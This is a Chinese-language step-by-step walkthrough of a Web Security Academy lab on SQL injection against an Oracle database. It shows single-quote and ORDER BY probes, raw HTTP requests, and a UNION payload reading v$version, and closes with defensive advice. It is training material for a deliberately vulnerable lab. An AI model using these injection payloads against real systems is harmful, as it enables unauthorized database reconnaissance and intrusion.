前言
大家好,本篇是 Web Security Academy 第三关:SQL 注入查询数据库版本 逐图逐步骤详细教程,全程和你提供的截图完全对应,一步一步带你复现通关。
另外,我之前已经发布过 Oracle 数据库基础用法的文章,对 Oracle 不熟悉的朋友可以先去看那篇补课,本文专注实战注入。
关卡信息
- 关卡名称:SQL injection attack, querying the database type and version on Oracle
- 注入点:商品分类
category参数 - 数据库:Oracle
- 目标:页面回显完整数据库版本信息
- 通关条件:显示指定版本字符串
步骤 1:进入关卡初始页面
首先打开靶场,进入第三关。页面顶部明确提示:Make the database retrieve the string: "Oracle Database 11g Express Edition..."
下方是商品列表,分类包括:All、Accessories、Food & Drink、Gifts 等。这一步确认:注入点在 category 参数。

步骤 2:判断注入点 ------ 单引号测试
操作
在分类参数后直接加单引号:
plaintext
category=Accessories'
页面结果
页面直接返回:Internal Server Error(500 错误) 
请求包内容
plaintext
GET /filter?category=Accessories%27 HTTP/2
响应:HTTP/2 500 Internal Server Error

结论
单引号破坏了后台 SQL 语句语法,存在字符型 SQL 注入。
步骤 3:ORDER BY 1 测试字段数
操作
plaintext
category=Accessories' order by 1 --
页面结果
页面正常显示商品,无报错。说明当前字段数 ≥1。

步骤 4:ORDER BY 3 测试字段数
操作
plaintext
category=Accessories' order by 3 --
页面结果(对应截图)
页面再次返回 500 错误。

请求包
plaintext
GET /filter?category=Accessories%27%20order%20by%203%20-- HTTP/2
响应:500 错误。

结论
原查询字段数 小于 3。
步骤 5:ORDER BY 2 测试字段数
操作
plaintext
category=Accessories' order by 2 --
页面结果(对应截图)
页面正常显示商品,无报错。

最终结论
原查询语句一共 2 个字段。
步骤 6:构造 UNION 注入爆出版本
Oracle 版本查询核心知识
我之前文章讲过:
- Oracle 查询完整版本使用系统视图:
v$version - 版本信息字段:
banner - Oracle 必须写
FROM,不能像 MySQL 省略 - UNION 注入必须字段数、类型对齐
最终 Payload
plaintext
category=-1' UNION SELECT banner,null FROM v$version--
Payload 拆解
-1':让原查询结果为空,只显示我们注入的内容UNION SELECT:联合查询banner,null:刚好 2 个字段,与原查询对齐FROM v$version:Oracle 查版本必须的系统视图--:注释掉后面的 SQL 语句
步骤 7:通关成功
页面显示
页面顶部显示:Congratulations, you solved the lab!
页面直接回显完整版本:
- Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
- PL/SQL Release 11.2.0.2.0 - Production
- CORE 11.2.0.2.0 Production
- TNS for Linux: Version 11.2.0.2.0 - Production
- NLSRTL Version 11.2.0.2.0 - Production

通关完成!
核心知识点总结
- 字符型注入判断:单引号触发 500 错误
- 字段数判断:ORDER BY 1→正常,2→正常,3→报错 → 共 2 字段
- Oracle 版本查询:
SELECT banner FROM v$version - UNION 注入必须:字段数一致、数据类型兼容
- 注释符:
--闭合后面语句
安全防护建议
- 使用参数化查询 / 预编译语句
- 禁止网站业务账号访问
v$version等系统视图 - 输入过滤与 WAF 防护
对 Oracle 数据库结构、系统视图、权限管理还不了解的朋友,快去看我之前发布的 Oracle 数据库基础用法 文章,基础扎实,注入更快更稳!